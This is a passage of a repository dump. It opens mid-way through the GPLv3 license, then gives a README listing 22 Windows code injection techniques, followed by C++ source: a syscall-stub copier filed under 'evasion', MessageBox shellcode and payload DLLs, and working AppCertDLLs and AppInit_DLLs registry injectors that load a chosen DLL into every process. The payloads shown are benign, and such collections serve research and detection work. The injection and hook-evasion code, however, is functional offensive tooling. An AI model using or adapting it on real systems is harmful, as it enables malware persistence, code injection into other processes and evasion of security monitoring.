propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Code injections 2 | This repository contains 22 implementations of Host-Based Code Injection Attacks (HBCIAs). 3 | 4 | 5 | ## PE injections 6 | Feature | Classic | Process Doppelgänging | Process Hollowing | Transacted Hollowing | Process Ghosting 7 | --------| :-: | :-: | :-: | :-: | :-: 8 | 32 Bit | ✔ | ✔ | ✔ | ✔ | ✔ 9 | 64 Bit | ✔ | ✔ | ✔ | ✔ | ✔ 10 | WoW64 | ✔ | ➖ | ✔ | ✔ | ➖ 11 | Windows 7 | ✔ | ✔ | ✔ | ✔ | ✔ 12 | Windows 10 | ✔ | ❌ | ✔ | ✔ | ✔ 13 | 14 | 15 | ## DLL injections 16 | Feature | Classic | AppCertDLLs | AppInitDLLs | KnownDLLs Cache | SetWindowsHookEx | Shim 17 | --------| :-: | :-: | :-: | :-: | :-: | :-: 18 | 32 Bit | ✔ | ✔ | ✔ | ➖ | ✔ | ➖ 19 | 64 Bit | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ 20 | WoW64 | ✔ | ✔ | ✔ | ➖ | ✔ | ➖ 21 | Windows 7 | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ 22 | Windows 10 | ✔ | ✔ | ✔ | ✔ | ✔ | ➖ 23 | Unpriviledged | ✔ | ❌ | ❌ | ✔ | ✔ | ❌ 24 | 25 | 26 | ## Shellcode injections 27 | Feature | Classic | Entrypoint | Extra Window Memory | GhostWriting | PROPagate | TLS Callback | Kernel Callback Table 28 | --------| :-: | :-: | :-: | :-: | :-: | :-: | :-: 29 | 32 Bit | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ 30 | 64 Bit | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ 31 | WoW64 | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ 32 | Windows 7 | ✔ | ✔ | ✔ | ➖ | ✔ | ✔ | ✔ 33 | Windows 10 | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ | ✔ -------------------------------------------------------------------------------- /mitigation/evasion/copysyscallstub.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "winternl.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | using fnNtCreateFile = NTSTATUS(NTAPI*)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 10 | 11 | 12 | int main() 13 | { 14 | // get path to desktop 15 | char desktopPath[MAX_PATH + 1]; 16 | SHGetSpecialFolderPathA(HWND_DESKTOP, desktopPath, CSIDL_DESKTOP, FALSE); 17 | 18 | // construct path absolute file path 19 | static char path[MAX_PATH + 1]; 20 | strcat(path, "\\??\\"); 21 | strcat(path, desktopPath); 22 | strcat(path, "\\syscall_NtCreateFile.txt"); 23 | 24 | // convert path to wchar 25 | wchar_t wPath[MAX_PATH + 1]; 26 | mbstowcs(wPath, path, strlen(path) + 1); 27 | 28 | #ifdef _WIN64 29 | /* 30 | | 4C:8BD1 | mov r10,rcx 31 | | B8 55000000 | mov eax,55 32 | | F60425 0803FE7F 01 | test byte ptr ds:[7FFE0308],1 33 | | 75 03 | jne ntdll.7FFD821AD815 34 | | 0F05 | syscall 35 | | C3 | ret 36 | | CD 2E | int 2E 37 | | C3 | ret 38 | */ 39 | const int SYSCALLSTUB_LENGTH = 0x18; 40 | #else 41 | /* 32 bit 42 | | B8 8C010000 | mov eax,18C 43 | | BA 0003FE7F | mov edx,<&KiFastSystemCall> 44 | | FF12 | call dword ptr ds:[edx] 45 | | C2 2400 | ret 24 46 | */ 47 | /* WoW 48 | | B8 55000000 | mov eax, 55 49 | | BA 70880477 | mov edx, ntdll.77048870 50 | | FFD2 | call edx 51 | | C2 2C00 | ret 2C 52 | */ 53 | const int SYSCALLSTUB_LENGTH = 15; 54 | #endif 55 | int8_t syscallStub[SYSCALLSTUB_LENGTH]; 56 | 57 | // resolve syscall address 58 | HMODULE ntdllHandle = LoadLibraryA("ntdll.dll"); 59 | if (!ntdllHandle) 60 | { 61 | printf("Error %d - Failed to acquire ntdll.dll handle\n", GetLastError()); 62 | return 1; 63 | } 64 | 65 | auto ntCreateFileAddress = GetProcAddress(ntdllHandle, "NtCreateFile"); 66 | if (!ntCreateFileAddress) 67 | { 68 | printf("Error %d - Failed to resolve NtCreateFile\n", GetLastError()); 69 | return 1; 70 | } 71 | 72 | printf("[Info] - Found NtCreateFile at %p\n", ntCreateFileAddress); 73 | 74 | // copy syscall stub 75 | memcpy(syscallStub, ntCreateFileAddress, SYSCALLSTUB_LENGTH); 76 | 77 | printf("[Info] - Copied %d bytes from NtCreateFile (%p) to stub (%p)\n", SYSCALLSTUB_LENGTH, ntCreateFileAddress, syscallStub); 78 | 79 | // make stub executable 80 | DWORD oldProtection; 81 | if (!VirtualProtect(syscallStub, SYSCALLSTUB_LENGTH, PAGE_EXECUTE_READWRITE, &oldProtection)) 82 | { 83 | printf("Error %d - Failed to make syscall stub executable\n", GetLastError()); 84 | return 1; 85 | } 86 | 87 | fnNtCreateFile directSyscallCreateFile = (fnNtCreateFile)(void*)syscallStub; 88 | 89 | // setup parameters 90 | HANDLE fileHandle = NULL; 91 | OBJECT_ATTRIBUTES objectAttributes; 92 | NTSTATUS status = NULL; 93 | UNICODE_STRING fileName; 94 | RtlInitUnicodeString(&fileName, wPath); 95 | IO_STATUS_BLOCK osb; 96 | ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK)); 97 | InitializeObjectAttributes(&objectAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL); 98 | 99 | // invoke syscallstub 100 | if (NT_SUCCESS(directSyscallCreateFile(&fileHandle, FILE_GENERIC_WRITE, &objectAttributes, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0))) 101 | { 102 | printf("[Info] - Successfully executed syscall stub, creating file %wS\n", wPath); 103 | } 104 | else 105 | { 106 | printf("Error %d - Failed to create file\n", GetLastError()); 107 | return 1; 108 | } 109 | 110 | return 0; 111 | } -------------------------------------------------------------------------------- /payload/dll_payload.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Spawns a MessageBox and then unloads itself from the process it has been loaded into. 3 | * 4 | */ 5 | 6 | #include 7 | 8 | // export for SetWindowsHook injection 9 | extern "C" __declspec(dllexport) int SetWindowsHookCallback(int code, WPARAM wParam, LPARAM lParam) 10 | { 11 | Beep(300, 200); 12 | return(CallNextHookEx(NULL, code, wParam, lParam)); 13 | } 14 | 15 | // exports for shim injection 16 | extern "C" __declspec(dllexport) int GetHookAPIs(PVOID a, PVOID b, PVOID c) 17 | { 18 | return 0x01; 19 | } 20 | 21 | extern "C" __declspec(dllexport) int NotifyShims(PVOID a, PVOID b) 22 | { 23 | return 0x01; 24 | } 25 | 26 | DWORD __stdcall Run(LPVOID hModule) 27 | { 28 | MessageBoxA(NULL, "Message from payload", "Injected payload", MB_OK); 29 | FreeLibraryAndExitThread(static_cast(hModule), 0); 30 | return TRUE; 31 | } 32 | 33 | BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved) 34 | { 35 | switch (dwReason) 36 | { 37 | case DLL_PROCESS_ATTACH: 38 | CreateThread(nullptr, 0, Run, hModule, 0, nullptr); 39 | break; 40 | case DLL_PROCESS_DETACH: 41 | break; 42 | default: 43 | break; 44 | } 45 | return TRUE; 46 | } -------------------------------------------------------------------------------- /payload/executable_payload.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Spawns a MessageBox and then exits. 3 | * 4 | */ 5 | 6 | #include 7 | 8 | 9 | int main(int argc, char* argv[]) 10 | { 11 | MessageBoxA(NULL, "Message from payload", "Injected payload", MB_OK); 12 | return 0; 13 | } -------------------------------------------------------------------------------- /payload/shellcode.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | 5 | /** 6 | * Spawns a MessageBox. 7 | * 8 | */ 9 | #ifdef _WIN64 10 | // https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12 11 | char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" 12 | "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" 13 | "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" 14 | "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" 15 | "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" 16 | "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" 17 | "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" 18 | "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" 19 | "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" 20 | "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" 21 | "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" 22 | "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" 23 | "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" 24 | "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" 25 | "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" 26 | "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" 27 | "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" 28 | "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" 29 | "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" 30 | "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" 31 | "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" 32 | "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" 33 | "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" 34 | "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" 35 | "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" 36 | "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" 37 | "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" 38 | "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" 39 | "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3"; 40 | 41 | #else 42 | // https://www.exploit-db.com/exploits/37758 43 | // this is 32 bit shellcode 44 | char shellcode[] = "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" 45 | "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" 46 | "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" 47 | "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" 48 | "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" 49 | "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" 50 | "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" 51 | "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" 52 | "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" 53 | "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" 54 | "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" 55 | "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" 56 | "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" 57 | "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" 58 | "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" 59 | "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" 60 | "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" 61 | "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" 62 | "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" 63 | "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"; 64 | #endif -------------------------------------------------------------------------------- /pe_injection/dll_injection/appcertdlls_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects a .dll into every process that calls: CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec by writing it to the AppCertDLLs registry key. 3 | * Supports 32- and 64 Bit applications. 4 | * [Requirements] 5 | * - elevated priviledges 6 | * [WARNING] 7 | * Some dll payloads (such as the one in this project) may couse a CRITICAL_PROCESS_DIED bluescreens, even with safe mode enabled. 8 | * The easiest way to fix the system in such a case is to delete the .dll file on disk. This can for example be done by booting into the commandline only environment. 9 | */ 10 | 11 | #include 12 | #include 13 | 14 | 15 | bool IsElevated() 16 | { 17 | HANDLE tokenHandle = NULL; 18 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) 19 | { 20 | return false; 21 | } 22 | 23 | TOKEN_ELEVATION tokenInformation; 24 | DWORD returnLength; 25 | if (!GetTokenInformation(tokenHandle, TokenElevation, &tokenInformation, sizeof(tokenInformation), &returnLength)) 26 | { 27 | CloseHandle(tokenHandle); 28 | return false; 29 | } 30 | 31 | CloseHandle(tokenHandle); 32 | return tokenInformation.TokenIsElevated; 33 | } 34 | 35 | bool IsOsVersionBelowWindows8() 36 | { 37 | using fnRtlGetVersion = NTSTATUS(NTAPI*)(PRTL_OSVERSIONINFOW lpVersionInformation); 38 | 39 | HMODULE ntdllHandle = GetModuleHandleA("ntdll.dll"); 40 | if (!ntdllHandle) 41 | { 42 | printf("[Warning] %d - Failed to get ntdll handle\n", GetLastError()); 43 | return false; 44 | } 45 | 46 | fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress(ntdllHandle, "RtlGetVersion"); 47 | 48 | RTL_OSVERSIONINFOW osInfo; 49 | RtlGetVersion(&osInfo); 50 | return osInfo.dwMajorVersion < 8 ? true : false; 51 | } 52 | 53 | int main(int argc, char* argv[]) 54 | { 55 | if (argc != 2) 56 | { 57 | printf("Usage: *.exe dllPath\n"); 58 | return 1; 59 | } 60 | 61 | if (!IsElevated()) 62 | { 63 | printf("[Error] - Writing AppInit_DLLs requires elevated privileges\n"); 64 | return 1; 65 | } 66 | 67 | HKEY keyHandle; 68 | RegCreateKeyA(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDLLs", &keyHandle); 69 | if (!keyHandle) 70 | { 71 | printf("[Error] - Failed to create/open registry key\n"); 72 | return 1; 73 | } 74 | 75 | char absoluteDllPath[MAX_PATH + 1]; 76 | GetFullPathNameA(argv[1], MAX_PATH + 1, absoluteDllPath, NULL); 77 | if (RegSetValueExA(keyHandle, "appcertdllInjection", 0, REG_SZ, (const BYTE*)absoluteDllPath, strlen(absoluteDllPath) + 1) != ERROR_SUCCESS) 78 | { 79 | printf("[Error] - Failed to write dll path to AppCertDLLs\n"); 80 | return 1; 81 | } 82 | 83 | printf("[Info] - Wrote AppCertDLLs registry key\n"); 84 | 85 | return 0; 86 | } -------------------------------------------------------------------------------- /pe_injection/dll_injection/appinitdlls_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects a .dll into every process that uses user32.dll by writing it to the AppInit_DLLs registry key. 3 | * Supports 32- and 64 Bit applications. 4 | * [Warning] Feature is disabled on Windows 8 and newer with secure boot enabled: https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls. 5 | * [Requirements] https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2?redirectedfrom=MSDN 6 | * - elevated priviledges 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | 13 | bool IsElevated() 14 | { 15 | HANDLE tokenHandle = NULL; 16 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) 17 | { 18 | return false; 19 | } 20 | 21 | TOKEN_ELEVATION tokenInformation; 22 | DWORD returnLength; 23 | if (!GetTokenInformation(tokenHandle, TokenElevation, &tokenInformation, sizeof(tokenInformation), &returnLength)) 24 | { 25 | CloseHandle(tokenHandle); 26 | return false; 27 | } 28 | 29 | CloseHandle(tokenHandle); 30 | return tokenInformation.TokenIsElevated; 31 | } 32 | 33 | bool IsOsVersionBelowWindows8() 34 | { 35 | using fnRtlGetVersion = NTSTATUS(NTAPI*)(PRTL_OSVERSIONINFOW lpVersionInformation); 36 | 37 | HMODULE ntdllHandle = GetModuleHandleA("ntdll.dll"); 38 | if (!ntdllHandle) 39 | { 40 | printf("[Warning] %d - Failed to get ntdll handle\n", GetLastError()); 41 | return false; 42 | } 43 | 44 | fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress(ntdllHandle, "RtlGetVersion"); 45 | 46 | RTL_OSVERSIONINFOW osInfo; 47 | RtlGetVersion(&osInfo); 48 | return osInfo.dwMajorVersion < 8 ? true : false; 49 | } 50 | 51 | int main(int argc, char* argv[]) 52 | { 53 | bool wowInjeciton = false; 54 | if (argc >= 2) 55 | { 56 | argc == 3 ? wowInjeciton = atoi(argv[2]) : wowInjeciton = false; 57 | } 58 | else 59 | { 60 | printf("Usage: *.exe dllPath [bWoW64Injection]\n"); 61 | return 1; 62 | } 63 | 64 | if (!IsElevated()) 65 | { 66 | printf("[Error] - Writing AppInit_DLLs requires elevated privileges\n"); 67 | return 1; 68 | } 69 | 70 | if (!IsOsVersionBelowWindows8()) 71 | { 72 | printf("[Warning] - Could not determine if Windows version is below 8. Starting with Windows 8 and secure boot enabled this method does not work.\n"); 73 | } 74 | 75 | DWORD loadDlls = 1; 76 | char absoluteDllPath[MAX_PATH + 1]; 77 | GetFullPathNameA(argv[1], MAX_PATH + 1, absoluteDllPath, NULL); 78 | 79 | if (!wowInjeciton) 80 | { 81 | HKEY keyHandle; 82 | RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", &keyHandle); 83 | 84 | if (!keyHandle) 85 | { 86 | printf("[Error] - Failed to open registry key\n"); 87 | return 1; 88 | } 89 | 90 | // 32bit/64bit 91 | 92 | if (RegSetValueExA(keyHandle, "LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&loadDlls, sizeof(DWORD)) != ERROR_SUCCESS) 93 | { 94 | printf("[Error] - Failed to write dll path to AppInit_DLLs\n"); 95 | return 1; 96 | } 97 | 98 | printf("[Info] - Wrote LoadAppInit_DLLs for 32bit/64bit\n"); 99 | 100 | 101 | if (RegSetValueExA(keyHandle, "AppInit_DLLs", 0, REG_SZ, (const BYTE*)absoluteDllPath, strlen(absoluteDllPath) + 1) != ERROR_SUCCESS) 102 | { 103 | printf("[Error] - Failed to write dll path to AppInit_DLLs\n"); 104 | return 1; 105 | } 106 | 107 | printf("[Info] - Wrote AppInit_DLLs for 32bit/64bit\n"); 108 | } 109 | #ifdef _WIN64 110 | if (wowInjeciton) 111 | { 112 | // WoW64 113 | HKEY wow64KeyHandle; 114 | RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows", &wow64KeyHandle); 115 | 116 | if (!wow64KeyHandle) 117 | { 118 | printf("[Error] - Failed to open registry key\n"); 119 | return 1; 120 | } 121 | 122 | if (RegSetValueExA(wow64KeyHandle, "LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&loadDlls, sizeof(DWORD)) != ERROR_SUCCESS) 123 